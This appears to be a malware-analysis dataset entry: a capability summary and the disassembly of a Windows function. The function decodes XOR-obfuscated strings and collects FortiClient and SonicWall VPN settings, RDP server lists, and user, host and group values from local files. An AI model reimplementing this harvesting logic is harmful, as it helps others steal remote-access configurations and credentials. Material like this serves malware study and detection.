Function at 0x14000c070
Capabilities:
Check if file exists
Encode data using xor
Get file size
Query environment variable
Read file on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x640]
sub rsp, 0x740
mov rdi, rcx
mov dword [rsp + 0x40], 0x650031
mov ebx, SafeArrayUnaccessData
mov dword [rsp + 0x44], 0x7d0063
mov dword [rsp + 0x48], 0x290031
mov dword [rsp + 0x4c], 0x130068
lea ecx, [rbx - 3]
call fcn.14000257c
lea r8, [rsp + 0x40]
mov rdx, rax
sub r8, rax
lea r9d, [rbx - 0xb]
movzx ecx, word [r8 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r9, 1
jne 0x14000c0c5
mov rdx, rax
mov rcx, rdi
call fcn.140001970
lea rcx, [rbp + 0x678]
call fcn.14000bb78
mov rdx, rax
mov rcx, rdi
call fcn.140001970
mov rsi, 0xffffffff80000002
lea r8, [0x14000c7ac]
mov rcx, rsi
lea rdx, str.SoftwareFortinetFortiClientSslvpnTunnels
mov r9, rdi
call fcn.14000b5f0
mov r14d, 0x2c
mov rcx, rdi
mov edx, r14d
call fcn.140001a9c
lea rdx, [0x140015148]
mov rcx, rdi
call fcn.140001970
lea rcx, [rbp + 0x678]
call fcn.14000bf3c
mov rdx, rax
mov rcx, rdi
call fcn.140001970
lea r9, [rbp + 0x688]
mov rcx, rsi
lea r8, str.InstallDir
lea rdx, str.SoftwareSonicWallSSL_VPN_NetExtenderStandalone
call fcn.14000b6f4
test eax, eax
je 0x14000c2b6
lea ecx, [r14 - 0x18]
mov dword [rsp + 0x40], 0x56005d
mov dword [rsp + 0x44], 0x7f0070
mov dword [rsp + 0x48], 0x3d007a
mov dword [rsp + 0x4c], 0x6b0076
mov dword [rsp + 0x50], 0x130076
call fcn.14000257c
lea r8, [rsp + 0x40]
mov rdx, rax
sub r8, rax
lea r9d, [r14 - 0x22]
movzx ecx, word [r8 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r9, 1
jne 0x14000c1b8
mov rdx, qword [rbp + 0x688]
lea rcx, [rbp - 0x30]
mov r8, rax
call qword [sym.imp.SHLWAPI.dll_PathCombineW]
lea rcx, [rbp - 0x30]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x14000c2aa
lea rcx, [rbp - 0x30]
call qword [sym.imp.SHLWAPI.dll_PathQuoteSpacesW]
lea rcx, [rbp + 0x678]
call fcn.14000bff0
mov rdx, rax
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp + 0x680]
lea rcx, [rbp - 0x30]
call fcn.14000cbb4
lea rcx, [rsp + 0x60]
mov rbx, rax
call fcn.140008ce8
lea r8, [0x140015168]
mov rcx, rdi
lea rdx, [rsp + 0x60]
call fcn.140008700
test eax, eax
je 0x14000c28d
lea rcx, [rsp + 0x60]
mov dword [rbp - 0x3c], 0x7530
call fcn.140008c44
test al, al
je 0x14000c283
mov r8, rbx
lea rdx, [rsp + 0x60]
mov rcx, rdi
call fcn.140008e80
test al, al
je 0x14000c283
lea rdx, [0x140014430]
mov rcx, rdi
call fcn.140001970
lea rcx, [rsp + 0x60]
call fcn.140008b10
lea rcx, [rsp + 0x60]
call fcn.140008cc8
mov edx, r14d
mov rcx, rdi
call fcn.140001a9c
mov rcx, rbx
call fcn.140002480
mov rcx, qword [rbp + 0x688]
call fcn.140002480
lea rdx, [0x140014e3c]
mov rcx, rdi
call fcn.140001970
lea rcx, [rbp + 0x678]
call fcn.14000bde4
mov rdx, rax
mov rcx, rdi
call fcn.140001970
mov r9, rdi
lea r8, [0x14000c92c]
lea rdx, str.SoftwareSonicWALLSSL_VPN_NetExtenderStandaloneProfiles
mov rcx, rsi
call fcn.14000b5f0
mov edx, r14d
mov rcx, rdi
call fcn.140001a9c
lea rdx, [0x1400146b0]
mov rcx, rdi
call fcn.140001970
lea rdx, [0x140015170]
mov rcx, rdi
call fcn.140001970
lea rcx, [rbp + 0x678]
call fcn.14000be7c
mov rdx, rax
mov rcx, rdi
call fcn.140001970
mov r8d, 0x104
lea rdx, [rbp + 0x220]
lea rcx, str.LOCALAPPDATA
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0x103
ja 0x14000c5ed
lea rcx, [rbp + 0x678]
call fcn.14000bc14
mov rdx, rax
lea rcx, [rbp + 0x220]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, [rbp + 0x220]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x14000c5ed
and qword [rsp + 0x30], 0
lea rcx, [rbp + 0x220]
and dword [rsp + 0x28], 0
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x14000c5ed
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov ebx, eax
call fcn.1400024a8
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x678]
mov r8d, ebx
mov rdx, rax
mov rcx, rsi
mov r14, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000c5df
mov r8d, dword [rbp + 0x678]
lea rcx, [rsp + 0x40]
mov rdx, r14
call fcn.14000b7e0
lea rdx, str._user_:__
mov rcx, rdi
call fcn.140001970
lea rdx, str._DefaultUser_
lea rcx, [rsp + 0x40]
call fcn.14000b91c
mov esi, 0xfe
test rax, rax
jle 0x14000c4a2
lea rdx, [rax + 0xd]
mov r8d, 1
lea rcx, [rsp + 0x40]
call fcn.14000b950
lea rdx, str.__DefaultUser_
lea rcx, [rsp + 0x40]
call fcn.14000b91c
lea rcx, [rax - 1]
cmp rcx, rsi
ja 0x14000c4a2
mov r8, rax
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x40]
call fcn.14000b830
lea rcx, [rbp - 0x30]
mov byte [rbp + rax - 0x30], 0
call fcn.140007564
mov rdx, rax
mov rcx, rdi
mov rbx, rax
call fcn.1400019c4
mov rcx, rbx
call fcn.140002480
lea rdx, str.____host_:__
mov rcx, rdi
call fcn.140001970
xor r8d, r8d
lea rcx, [rsp + 0x40]
xor edx, edx
call fcn.14000b950
lea rdx, str._DefaultHostName_
lea rcx, [rsp + 0x40]
call fcn.14000b91c
test rax, rax
jle 0x14000c539
lea rdx, [rax + 0x11]
mov r8d, 1
lea rcx, [rsp + 0x40]
call fcn.14000b950
lea rdx, str.__DefaultHostName_
lea rcx, [rsp + 0x40]
call fcn.14000b91c
lea rcx, [rax - 1]
cmp rcx, rsi
ja 0x14000c539
mov r8, rax
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x40]
call fcn.14000b830
lea rcx, [rbp - 0x30]
mov byte [rbp + rax - 0x30], 0
call fcn.140007564
mov rdx, rax
mov rcx, rdi
mov rbx, rax
call fcn.1400019c4
mov rcx, rbx
call fcn.140002480
lea rdx, str.____group_:__
mov rcx, rdi
call fcn.140001970
xor r8d, r8d
lea rcx, [rsp + 0x40]
xor edx, edx
call fcn.14000b950
lea rdx, str._DefaultGroup_
lea rcx, [rsp + 0x40]
call fcn.14000b91c
test rax, rax
jle 0x14000c5d0
lea rdx, [rax + 0xe]
mov r8d, 1
lea rcx, [rsp + 0x40]
call fcn.14000b950
lea rdx, str.__DefaultGroup_
lea rcx, [rsp + 0x40]
call fcn.14000b91c
lea rcx, [rax - 1]
cmp rcx, rsi
ja 0x14000c5d0
mov r8, rax
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x40]
call fcn.14000b830
lea rcx, [rbp - 0x30]
mov byte [rbp + rax - 0x30], 0
call fcn.140007564
mov rdx, rax
mov rcx, rdi
mov rbx, rax
call fcn.1400019c4
mov rcx, rbx
call fcn.140002480
lea rdx, [0x140014698]
mov rcx, rdi
call fcn.140001970
mov rcx, r14
call fcn.140002480
mov r14d, 0x2c
lea rdx, [0x140015260]
mov rcx, rdi
call fcn.140001970
lea rcx, [rbp + 0x678]
call fcn.14000ba60
mov rdx, rax
mov rcx, rdi
call fcn.140001970
mov r9, rdi
lea r8, [0x14000c86c]
lea rdx, str.SoftwareMicrosoftTerminal_Server_ClientServers
mov rcx, 0xffffffff80000001
call fcn.14000b5f0
mov edx, r14d
mov rcx, rdi
call fcn.140001a9c
lea rdx, [0x140015148]
mov rcx, rdi
call fcn.140001970
lea rcx, [rbp + 0x678]
call fcn.14000bd64
mov rdx, rax
mov rcx, rdi
call fcn.140001970
mov r8d, 0x104
lea rdx, [rbp + 0x430]
lea rcx, str.ProgramData
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0x103
ja 0x14000c77e
lea rcx, [rbp + 0x678]
call fcn.14000b964
mov rdx, rax
lea rcx, [rbp + 0x430]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, [rbp + 0x430]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x14000c77e
and qword [rsp + 0x30], 0
lea rcx, [rbp + 0x430]
and dword [rsp + 0x28], 0
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x14000c77e
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edx, 1
mov ebx, eax
lea ecx, [rax + 1]
call fcn.140002454
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x680]
mov r8d, ebx
mov rdx, rax
mov rcx, rsi
mov r14, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000c77e
mov ecx, dword [rbp + 0x680]
mov byte [rcx + r14], 0
lea rcx, [rbp + 0x678]
call fcn.14000baec
mov rdx, rax
mov rcx, rdi
call fcn.140001970
mov rcx, r14
call fcn.140007564
mov rdx, rax
mov rcx, rdi
mov rbx, rax
call fcn.1400019c4
lea rdx, [0x140014698]
mov rcx, rdi
call fcn.140001970
mov rcx, rbx
call fcn.140002480
lea rdx, [0x140014434]
mov rcx, rdi
call fcn.140001970
lea rdx, [0x140014434]
mov rcx, rdi
call fcn.140001970
add rsp, 0x740
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret